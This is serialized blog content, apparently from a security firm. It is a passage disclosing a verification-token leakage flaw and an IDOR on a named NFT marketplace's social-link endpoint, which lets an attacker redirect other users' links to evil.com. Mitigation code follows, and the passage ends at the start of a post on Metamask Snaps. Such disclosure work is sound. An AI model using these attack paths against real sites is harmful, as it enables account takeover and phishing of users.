}\n",{"type":26,"tag":475,"props":34445,"children":34446},{"class":477,"line":753},[34447,34451,34455],{"type":26,"tag":475,"props":34448,"children":34449},{"style":32074},[34450],{"type":32,"value":34062},{"type":26,"tag":475,"props":34452,"children":34453},{"style":482},[34454],{"type":32,"value":32114},{"type":26,"tag":475,"props":34456,"children":34457},{"style":32074},[34458],{"type":32,"value":5706},{"type":26,"tag":475,"props":34460,"children":34461},{"class":477,"line":761},[34462,34466,34470],{"type":26,"tag":475,"props":34463,"children":34464},{"style":32074},[34465],{"type":32,"value":34078},{"type":26,"tag":475,"props":34467,"children":34468},{"style":482},[34469],{"type":32,"value":33968},{"type":26,"tag":475,"props":34471,"children":34472},{"style":32074},[34473],{"type":32,"value":5706},{"type":26,"tag":35,"props":34475,"children":34476},{},[34477],{"type":32,"value":34478},"As a result, we're able to prevent the user from loading images.",{"type":26,"tag":27,"props":34480,"children":34482},{"id":34481},"authentication",[34483],{"type":32,"value":34484},"Authentication",{"type":26,"tag":35,"props":34486,"children":34487},{},[34488],{"type":26,"tag":2615,"props":34489,"children":34490},{},[34491,34493,34500],{"type":32,"value":34492},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":26,"tag":116,"props":34494,"children":34497},{"href":34495,"rel":34496},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[120],[34498],{"type":32,"value":34499},"great misfortune has occured",{"type":32,"value":353},{"type":26,"tag":41,"props":34502,"children":34504},{"id":34503},"verification-token-leakage",[34505],{"type":32,"value":34506},"Verification Token Leakage",{"type":26,"tag":35,"props":34508,"children":34509},{},[34510],{"type":32,"value":34511},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":26,"tag":35,"props":34513,"children":34514},{},[34515],{"type":32,"value":34516},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":26,"tag":35,"props":34518,"children":34519},{},[34520,34525],{"type":26,"tag":2615,"props":34521,"children":34522},{},[34523],{"type":32,"value":34524},"Proof of Concept",{"type":32,"value":34526},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":26,"tag":35,"props":34528,"children":34529},{},[34530],{"type":32,"value":34531},"Here's the breakdown.",{"type":26,"tag":35,"props":34533,"children":34534},{},[34535],{"type":32,"value":34536},"First, we send the verification link to a user's email:",{"type":26,"tag":31048,"props":34538,"children":34539},{"style":31050},[34540],{"type":26,"tag":132,"props":34541,"children":34545},{"src":34542,"alt":34543,"style":34544},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":26,"tag":35,"props":34547,"children":34548},{},[34549],{"type":32,"value":34550},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":26,"tag":41,"props":34552,"children":34554},{"id":34553},"idor",[34555],{"type":32,"value":34556},"IDOR",{"type":26,"tag":35,"props":34558,"children":34559},{},[34560],{"type":26,"tag":2615,"props":34561,"children":34562},{},[34563,34565,34572],{"type":32,"value":34564},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":26,"tag":116,"props":34566,"children":34569},{"href":34567,"rel":34568},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[120],[34570],{"type":32,"value":34571},"insect",{"type":32,"value":353},{"type":26,"tag":35,"props":34574,"children":34575},{},[34576,34578,34584],{"type":32,"value":34577},"During a security assessment of the ",{"type":26,"tag":116,"props":34579,"children":34582},{"href":34580,"rel":34581},"https://rocki.com",[120],[34583],{"type":32,"value":30986},{"type":32,"value":34585},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":26,"tag":35,"props":34587,"children":34588},{},[34589],{"type":32,"value":34590},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":26,"tag":35,"props":34592,"children":34593},{},[34594],{"type":32,"value":34595},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":26,"tag":35,"props":34597,"children":34598},{},[34599,34601,34607,34609,34614],{"type":32,"value":34600},"Here is an example of a request that modifies another user's social media link to ",{"type":26,"tag":53,"props":34602,"children":34604},{"className":34603},[],[34605],{"type":32,"value":34606},"https://evil.com/",{"type":32,"value":34608},". To achieve this, we simply changed the ",{"type":26,"tag":53,"props":34610,"children":34612},{"className":34611},[],[34613],{"type":32,"value":3192},{"type":32,"value":34615}," field value to one that belongs to another user:",{"type":26,"tag":35,"props":34617,"children":34618},{},[34619],{"type":26,"tag":132,"props":34620,"children":34622},{"alt":7,"src":34621},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":26,"tag":35,"props":34624,"children":34625},{},[34626],{"type":32,"value":34627},"The following screenshot is the response to our request:",{"type":26,"tag":35,"props":34629,"children":34630},{},[34631],{"type":26,"tag":132,"props":34632,"children":34634},{"alt":7,"src":34633},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":26,"tag":27,"props":34636,"children":34638},{"id":34637},"preventative-action-steps-for-marketplaces",[34639],{"type":26,"tag":105,"props":34640,"children":34641},{},[34642],{"type":32,"value":34643},"Preventative Action Steps for Marketplaces",{"type":26,"tag":35,"props":34645,"children":34646},{},[34647],{"type":32,"value":34648},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":26,"tag":35,"props":34650,"children":34651},{},[34652,34654,34660,34662,34668],{"type":32,"value":34653},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":26,"tag":53,"props":34655,"children":34657},{"className":34656},[],[34658],{"type":32,"value":34659},"innerText",{"type":32,"value":34661}," instead of ",{"type":26,"tag":53,"props":34663,"children":34665},{"className":34664},[],[34666],{"type":32,"value":34667},"innerHTML",{"type":32,"value":34669}," in client-side:",{"type":26,"tag":465,"props":34671,"children":34673},{"className":2332,"code":34672,"language":2334,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[34674],{"type":26,"tag":53,"props":34675,"children":34676},{"__ignoreMap":7},[34677],{"type":26,"tag":475,"props":34678,"children":34679},{"class":477,"line":478},[34680,34684,34688,34693,34697,34702,34706,34710,34714,34719],{"type":26,"tag":475,"props":34681,"children":34682},{"style":2375},[34683],{"type":32,"value":32406},{"type":26,"tag":475,"props":34685,"children":34686},{"style":499},[34687],{"type":32,"value":353},{"type":26,"tag":475,"props":34689,"children":34690},{"style":493},[34691],{"type":32,"value":34692},"getElementById",{"type":26,"tag":475,"props":34694,"children":34695},{"style":499},[34696],{"type":32,"value":626},{"type":26,"tag":475,"props":34698,"children":34699},{"style":629},[34700],{"type":32,"value":34701},"'nftCollectionName'",{"type":26,"tag":475,"props":34703,"children":34704},{"style":499},[34705],{"type":32,"value":20450},{"type":26,"tag":475,"props":34707,"children":34708},{"style":2375},[34709],{"type":32,"value":34659},{"type":26,"tag":475,"props":34711,"children":34712},{"style":714},[34713],{"type":32,"value":2383},{"type":26,"tag":475,"props":34715,"children":34716},{"style":2375},[34717],{"type":32,"value":34718}," nftCollectionName",{"type":26,"tag":475,"props":34720,"children":34721},{"style":499},[34722],{"type":32,"value":2729},{"type":26,"tag":35,"props":34724,"children":34725},{},[34726],{"type":32,"value":34727},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":26,"tag":465,"props":34729,"children":34731},{"className":2332,"code":34730,"language":2334,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[34732],{"type":26,"tag":53,"props":34733,"children":34734},{"__ignoreMap":7},[34735],{"type":26,"tag":475,"props":34736,"children":34737},{"class":477,"line":478},[34738,34743,34748,34752,34757,34761,34766,34770,34775],{"type":26,"tag":475,"props":34739,"children":34740},{"style":482},[34741],{"type":32,"value":34742},"var",{"type":26,"tag":475,"props":34744,"children":34745},{"style":2375},[34746],{"type":32,"value":34747}," sanitizedInput",{"type":26,"tag":475,"props":34749,"children":34750},{"style":714},[34751],{"type":32,"value":2383},{"type":26,"tag":475,"props":34753,"children":34754},{"style":2375},[34755],{"type":32,"value":34756}," DOMPurify",{"type":26,"tag":475,"props":34758,"children":34759},{"style":499},[34760],{"type":32,"value":353},{"type":26,"tag":475,"props":34762,"children":34763},{"style":493},[34764],{"type":32,"value":34765},"sanitize",{"type":26,"tag":475,"props":34767,"children":34768},{"style":499},[34769],{"type":32,"value":626},{"type":26,"tag":475,"props":34771,"children":34772},{"style":2375},[34773],{"type":32,"value":34774},"userInput",{"type":26,"tag":475,"props":34776,"children":34777},{"style":499},[34778],{"type":32,"value":3533},{"type":26,"tag":35,"props":34780,"children":34781},{},[34782,34784,34791],{"type":32,"value":34783},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":26,"tag":116,"props":34785,"children":34788},{"href":34786,"rel":34787},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[120],[34789],{"type":32,"value":34790},"Content-Security-Policy",{"type":32,"value":34792}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":26,"tag":35,"props":34794,"children":34795},{},[34796],{"type":32,"value":34797},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":26,"tag":35,"props":34799,"children":34800},{},[34801,34803,34810],{"type":32,"value":34802},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":26,"tag":116,"props":34804,"children":34807},{"href":34805,"rel":34806},"https://www.techtarget.com/whatis/definition/whitelist",[120],[34808],{"type":32,"value":34809},"allow-list",{"type":32,"value":34811}," :",{"type":26,"tag":465,"props":34813,"children":34815},{"className":2332,"code":34814,"language":2334,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[34816],{"type":26,"tag":53,"props":34817,"children":34818},{"__ignoreMap":7},[34819,34848,34890,34920],{"type":26,"tag":475,"props":34820,"children":34821},{"class":477,"line":478},[34822,34826,34831,34835,34839,34844],{"type":26,"tag":475,"props":34823,"children":34824},{"style":482},[34825],{"type":32,"value":9363},{"type":26,"tag":475,"props":34827,"children":34828},{"style":2375},[34829],{"type":32,"value":34830}," allowDomains",{"type":26,"tag":475,"props":34832,"children":34833},{"style":714},[34834],{"type":32,"value":2383},{"type":26,"tag":475,"props":34836,"children":34837},{"style":499},[34838],{"type":32,"value":22741},{"type":26,"tag":475,"props":34840,"children":34841},{"style":629},[34842],{"type":32,"value":34843},"'https://allowed-domain'",{"type":26,"tag":475,"props":34845,"children":34846},{"style":499},[34847],{"type":32,"value":31274},{"type":26,"tag":475,"props":34849,"children":34850},{"class":477,"line":516},[34851,34855,34859,34863,34868,34872,34877,34881,34885],{"type":26,"tag":475,"props":34852,"children":34853},{"style":586},[34854],{"type":32,"value":15285},{"type":26,"tag":475,"props":34856,"children":34857},{"style":499},[34858],{"type":32,"value":2775},{"type":26,"tag":475,"props":34860,"children":34861},{"style":714},[34862],{"type":32,"value":20329},{"type":26,"tag":475,"props":34864,"children":34865},{"style":2375},[34866],{"type":32,"value":34867},"allowDomains",{"type":26,"tag":475,"props":34869,"children":34870},{"style":499},[34871],{"type":32,"value":353},{"type":26,"tag":475,"props":34873,"children":34874},{"style":493},[34875],{"type":32,"value":34876},"includes",{"type":26,"tag":475,"props":34878,"children":34879},{"style":499},[34880],{"type":32,"value":626},{"type":26,"tag":475,"props":34882,"children":34883},{"style":2375},[34884],{"type":32,"value":32416},{"type":26,"tag":475,"props":34886,"children":34887},{"style":499},[34888],{"type":32,"value":34889},")) {\n",{"type":26,"tag":475,"props":34891,"children":34892},{"class":477,"line":539},[34893,34898,34902,34907,34911,34916],{"type":26,"tag":475,"props":34894,"children":34895},{"style":586},[34896],{"type":32,"value":34897}," throw",{"type":26,"tag":475,"props":34899,"children":34900},{"style":482},[34901],{"type":32,"value":31633},{"type":26,"tag":475,"props":34903,"children":34904},{"style":493},[34905],{"type":32,"value":34906}," ApolloError",{"type":26,"tag":475,"props":34908,"children":34909},{"style":499},[34910],{"type":32,"value":626},{"type":26,"tag":475,"props":34912,"children":34913},{"style":629},[34914],{"type":32,"value":34915},"'invalid domain'",{"type":26,"tag":475,"props":34917,"children":34918},{"style":499},[34919],{"type":32,"value":3533},{"type":26,"tag":475,"props":34921,"children":34922},{"class":477,"line":548},[34923],{"type":26,"tag":475,"props":34924,"children":34925},{"style":499},[34926],{"type":32,"value":3607},{"type":26,"tag":35,"props":34928,"children":34929},{},[34930,34932,34939,34941,34948],{"type":32,"value":34931},"As ",{"type":26,"tag":116,"props":34933,"children":34936},{"href":34934,"rel":34935},"https://graphql.org/",[120],[34937],{"type":32,"value":34938},"GraphQl",{"type":32,"value":34940}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":26,"tag":116,"props":34942,"children":34945},{"href":34943,"rel":34944},"https://graphql.org/learn/introspection/",[120],[34946],{"type":32,"value":34947},"introspection",{"type":32,"value":34949}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":26,"tag":465,"props":34951,"children":34953},{"className":2332,"code":34952,"language":2334,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[34954],{"type":26,"tag":53,"props":34955,"children":34956},{"__ignoreMap":7},[34957,34986,34998,35010,35026],{"type":26,"tag":475,"props":34958,"children":34959},{"class":477,"line":478},[34960,34964,34969,34973,34977,34982],{"type":26,"tag":475,"props":34961,"children":34962},{"style":482},[34963],{"type":32,"value":9363},{"type":26,"tag":475,"props":34965,"children":34966},{"style":2375},[34967],{"type":32,"value":34968}," server",{"type":26,"tag":475,"props":34970,"children":34971},{"style":714},[34972],{"type":32,"value":2383},{"type":26,"tag":475,"props":34974,"children":34975},{"style":482},[34976],{"type":32,"value":31633},{"type":26,"tag":475,"props":34978,"children":34979},{"style":493},[34980],{"type":32,"value":34981}," ApolloServer",{"type":26,"tag":475,"props":34983,"children":34984},{"style":499},[34985],{"type":32,"value":14846},{"type":26,"tag":475,"props":34987,"children":34988},{"class":477,"line":516},[34989,34994],{"type":26,"tag":475,"props":34990,"children":34991},{"style":2375},[34992],{"type":32,"value":34993}," typeDefs",{"type":26,"tag":475,"props":34995,"children":34996},{"style":499},[34997],{"type":32,"value":2425},{"type":26,"tag":475,"props":34999,"children":35000},{"class":477,"line":539},[35001,35006],{"type":26,"tag":475,"props":35002,"children":35003},{"style":2375},[35004],{"type":32,"value":35005}," resolvers",{"type":26,"tag":475,"props":35007,"children":35008},{"style":499},[35009],{"type":32,"value":2425},{"type":26,"tag":475,"props":35011,"children":35012},{"class":477,"line":548},[35013,35018,35022],{"type":26,"tag":475,"props":35014,"children":35015},{"style":2375},[35016],{"type":32,"value":35017}," introspection:",{"type":26,"tag":475,"props":35019,"children":35020},{"style":482},[35021],{"type":32,"value":8769},{"type":26,"tag":475,"props":35023,"children":35024},{"style":499},[35025],{"type":32,"value":2425},{"type":26,"tag":475,"props":35027,"children":35028},{"class":477,"line":558},[35029],{"type":26,"tag":475,"props":35030,"children":35031},{"style":499},[35032],{"type":32,"value":35033},"});\n",{"type":26,"tag":35,"props":35035,"children":35036},{},[35037,35039,35046,35048,35055],{"type":32,"value":35038},"Similarly, when ",{"type":26,"tag":116,"props":35040,"children":35043},{"href":35041,"rel":35042},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[120],[35044],{"type":32,"value":35045},"batching",{"type":32,"value":35047}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":26,"tag":116,"props":35049,"children":35052},{"href":35050,"rel":35051},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[120],[35053],{"type":32,"value":35054},"denial-of-service",{"type":32,"value":35056}," (DoS) attacks.",{"type":26,"tag":35,"props":35058,"children":35059},{},[35060],{"type":32,"value":35061},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":26,"tag":35,"props":35063,"children":35064},{},[35065],{"type":32,"value":35066},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":26,"tag":35068,"props":35069,"children":35070},"h1",{"id":2533},[35071],{"type":32,"value":2536},{"type":26,"tag":35,"props":35073,"children":35074},{},[35075],{"type":32,"value":35076},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":26,"tag":35,"props":35078,"children":35079},{},[35080],{"type":32,"value":35081},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":26,"tag":27,"props":35083,"children":35085},{"id":35084},"disclaimer",[35086],{"type":32,"value":35087},"Disclaimer",{"type":26,"tag":35,"props":35089,"children":35090},{},[35091],{"type":32,"value":35092},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":26,"tag":2548,"props":35094,"children":35095},{},[35096],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":35098},[35099,35102,35108,35112,35113],{"id":28717,"depth":516,"text":28720,"children":35100},[35101],{"id":2622,"depth":539,"text":2625},{"id":30909,"depth":516,"text":30939,"children":35103},[35104,35105,35106,35107],{"id":30958,"depth":539,"text":30961},{"id":31023,"depth":539,"text":31026},{"id":33846,"depth":539,"text":33849},{"id":34136,"depth":539,"text":34139},{"id":34481,"depth":516,"text":34484,"children":35109},[35110,35111],{"id":34503,"depth":539,"text":34506},{"id":34553,"depth":539,"text":34556},{"id":34637,"depth":516,"text":34643},{"id":35084,"depth":516,"text":35087},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":35118,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":35119,"description":35120,"author":35121,"image":35122,"date":35124,"isFeatured":18,"onBlogPage":18,"body":35125,"_type":2566,"_id":40132,"_source":2568,"_file":40133,"_stem":40134,"_extension":2571},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[12,13],{"src":35123,"height":13330,"width":17},"/posts/metamask-snaps/header.png","2023-11-01",{"type":23,"children":35126,"toc":40113},[35127,35131,35136,35141,35146,35152,35157,35163,35176,35181,35186,35193,35225,35231,35236,35254,35261,35267,35281,35287,35307,35571,35599,35605,35624,36008,36027,36040,36358,36379,36650,36655,36661,36666,36679,36684,36697,36956,37000,37013,37019,37033,37039,37045,37058,37095,37101,37121,37232,37259,37265,37283,37296,37302,37307,37325,37436,37441,37461,37474,37491,37591,37617,37634,37756,37782,37794,37799,37805,37811,37816,37839,37844,37849,37855,37861,37888,38291,38318,38345,38351,38382,38690,38709,38714,38739,38752,38758,38785,39079,39115,39133,39138,39173,39178,39182,39187,39194,39199,39226,40001,40021,40025,40046,40095,40099,40104,40109],{"type":26,"tag":27,"props":35128,"children":35129},{"id":18664},[35130],{"type":32,"value":18667},{"type":26,"tag":35,"props":35132,"children":35133},{},[35134],{"type":32,"value":35135},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":26,"tag":35,"props":35137,"children":35138},{},[35139],{"type":32,"value":35140},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":26,"tag":35,"props":35142,"children":35143},{},[35144],{"type":32,"value":35145},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":26,"tag":27,"props":35147,"children":35149},{"id":35148},"sandbox-security",[35150],{"type":32,"value":35151},"Sandbox Security",{"type":26,"tag":35,"props":35153,"children":35154},{},[35155],{"type":32,"value":35156},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":26,"tag":41,"props":35158,"children":35160},{"id":35159},"permission-based-security",[35161],{"type":32,"value":35162},"Permission-based security",{"type":26,"tag":35,"props":35164,"children":35165},{},[35166,35168,35174],{"type":32,"value":35167},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":26,"tag":53,"props":35169,"children":35171},{"className":35170},[],[35172],{"type":32,"value":35173},"snap.manifest.json",{"type":32,"value":35175}," file and can be critical to security.",{"type":26,"tag":35,"props":35177,"children":35178},{},[35179],{"type":32,"value":35180},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":26,"tag":35,"props":35182,"children":35183},{},[35184],{"type":32,"value":35185},"Here are the critical permissions possible to be given to a snap:",{"type":26,"tag":35,"props":35187,"children":35188},{},[35189],{"type":26,"tag":132,"props":35190,"children":35192},{"alt":7,"src":35191},"/posts/metamask-snaps/permissions.png",[],{"type":26,"tag":82,"props":35194,"children":35195},{},[35196,35214],{"type":26,"tag":86,"props":35197,"children":35198},{},[35199,35205,35206,35212],{"type":26,"tag":53,"props":35200,"children":35202},{"className":35201},[],[35203],{"type":32,"value":35204},"snap_getBip44Entropy",{"type":32,"value":209},{"type":26,"tag":53,"props":35207,"children":35209},{"className":35208},[],[35210],{"type":32,"value":35211},"snap_getBip32Entropy",{"type":32,"value":35213}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":26,"tag":86,"props":35215,"children":35216},{},[35217,35223],{"type":26,"tag":53,"props":35218,"children":35220},{"className":35219},[],[35221],{"type":32,"value":35222},"endowment:transaction-insight",{"type":32,"value":35224}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":26,"tag":41,"props":35226,"children":35228},{"id":35227},"snap-execution-environment",[35229],{"type":32,"value":35230},"Snap execution environment",{"type":26,"tag":35,"props":35232,"children":35233},{},[35234],{"type":32,"value":35235},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":26,"tag":181,"props":35237,"children":35238},{},[35239,35244,35249],{"type":26,"tag":86,"props":35240,"children":35241},{},[35242],{"type":32,"value":35243},"An isolated iframe",{"type":26,"tag":86,"props":35245,"children":35246},{},[35247],{"type":32,"value":35248},"LavaMoat",{"type":26,"tag":86,"props":35250,"children":35251},{},[35252],{"type":32,"value":35253},"SES (Secure EcmaScript)",{"type":26,"tag":35,"props":35255,"children":35256},{},[35257],{"type":26,"tag":132,"props":35258,"children":35260},{"alt":7,"src":35259},"/posts/metamask-snaps/environment.png",[],{"type":26,"tag":41,"props":35262,"children":35264},{"id":35263},"isolated-iframe-layer-1",[35265],{"type":32,"value":35266},"Isolated Iframe - Layer 1",{"type":26,"tag":35,"props":35268,"children":35269},{},[35270,35272,35279],{"type":32,"value":35271},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":26,"tag":116,"props":35273,"children":35276},{"href":35274,"rel":35275},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[120],[35277],{"type":32,"value":35278},"Iframe",{"type":32,"value":35280}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":26,"tag":70,"props":35282,"children":35284},{"id":35283},"the-framework-metamask-extension-repo",[35285],{"type":32,"value":35286},"The Framework: Metamask-Extension Repo",{"type":26,"tag":35,"props":35288,"children":35289},{},[35290,35292,35298,35300,35306],{"type":32,"value":35291},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":26,"tag":53,"props":35293,"children":35295},{"className":35294},[],[35296],{"type":32,"value":35297},"metamask-controller.js",{"type":32,"value":35299}," file. Here's a glimpse of the relevant ",{"type":26,"tag":116,"props":35301,"children":35304},{"href":35302,"rel":35303},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[120],[35305],{"type":32,"value":53},{"type":32,"value":179},{"type":26,"tag":465,"props":35308,"children":35312},{"className":35309,"code":35310,"language":35311,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[35313],{"type":26,"tag":53,"props":35314,"children":35315},{"__ignoreMap":7},[35316,35324,35332,35352,35400,35435,35452,35460,35502,35509,35516,35524,35552,35564],{"type":26,"tag":475,"props":35317,"children":35318},{"class":477,"line":478},[35319],{"type":26,"tag":475,"props":35320,"children":35321},{"style":552},[35322],{"type":32,"value":35323},"// Import snaps-controllers\n",{"type":26,"tag":475,"props":35325,"children":35326},{"class":477,"line":516},[35327],{"type":26,"tag":475,"props":35328,"children":35329},{"style":552},[35330],{"type":32,"value":35331},"// ...\n",{"type":26,"tag":475,"props":35333,"children":35334},{"class":477,"line":539},[35335,35339,35344,35348],{"type":26,"tag":475,"props":35336,"children":35337},{"style":482},[35338],{"type":32,"value":9363},{"type":26,"tag":475,"props":35340,"children":35341},{"style":2375},[35342],{"type":32,"value":35343}," snapExecutionServiceArgs",{"type":26,"tag":475,"props":35345,"children":35346},{"style":714},[35347],{"type":32,"value":2383},{"type":26,"tag":475,"props":35349,"children":35350},{"style":499},[35351],{"type":32,"value":579},{"type":26,"tag":475,"props":35353,"children":35354},{"class":477,"line":548},[35355,35360,35364,35369,35373,35378,35382,35387,35391,35396],{"type":26,"tag":475,"props":35356,"children":35357},{"style":2375},[35358],{"type":32,"value":35359}," iframeUrl:",{"type":26,"tag":475,"props":35361,"children":35362},{"style":482},[35363],{"type":32,"value":31633},{"type":26,"tag":475,"props":35365,"children":35366},{"style":493},[35367],{"type":32,"value":35368}," URL",{"type":26,"tag":475,"props":35370,"children":35371},{"style":499},[35372],{"type":32,"value":626},{"type":26,"tag":475,"props":35374,"children":35375},{"style":2375},[35376],{"type":32,"value":35377},"process",{"type":26,"tag":475,"props":35379,"children":35380},{"style":499},[35381],{"type":32,"value":353},{"type":26,"tag":475,"props":35383,"children":35384},{"style":2375},[35385],{"type":32,"value":35386},"env",{"type":26,"tag":475,"props":35388,"children":35389},{"style":499},[35390],{"type":32,"value":353},{"type":26,"tag":475,"props":35392,"children":35393},{"style":2375},[35394],{"type":32,"value":35395},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":26,"tag":475,"props":35397,"children":35398},{"style":499},[35399],{"type":32,"value":6450},{"type":26,"tag":475,"props":35401,"children":35402},{"class":477,"line":558},[35403,35408,35413,35417,35422,35426,35431],{"type":26,"tag":475,"props":35404,"children":35405},{"style":2375},[35406],{"type":32,"value":35407}," messenger:",{"type":26,"tag":475,"props":35409,"children":35410},{"style":482},[35411],{"type":32,"value":35412}," this",{"type":26,"tag":475,"props":35414,"children":35415},{"style":499},[35416],{"type":32,"value":353},{"type":26,"tag":475,"props":35418,"children":35419},{"style":2375},[35420],{"type":32,"value":35421},"controllerMessenger",{"type":26,"tag":475,"props":35423,"children":35424},{"style":499},[35425],{"type":32,"value":353},{"type":26,"tag":475,"props":35427,"children":35428},{"style":493},[35429],{"type":32,"value":35430},"getRestricted",{"type":26,"tag":475,"props":35432,"children":35433},{"style":499},[35434],{"type":32,"value":14846},{"type":26,"tag":475,"props":35436,"children":35437},{"class":477,"line":582},[35438,35443,35448],{"type":26,"tag":475,"props":35439,"children":35440},{"style":2375},[35441],{"type":32,"value":35442}," name:",{"type":26,"tag":475,"props":35444,"children":35445},{"style":629},[35446],{"type":32,"value":35447}," 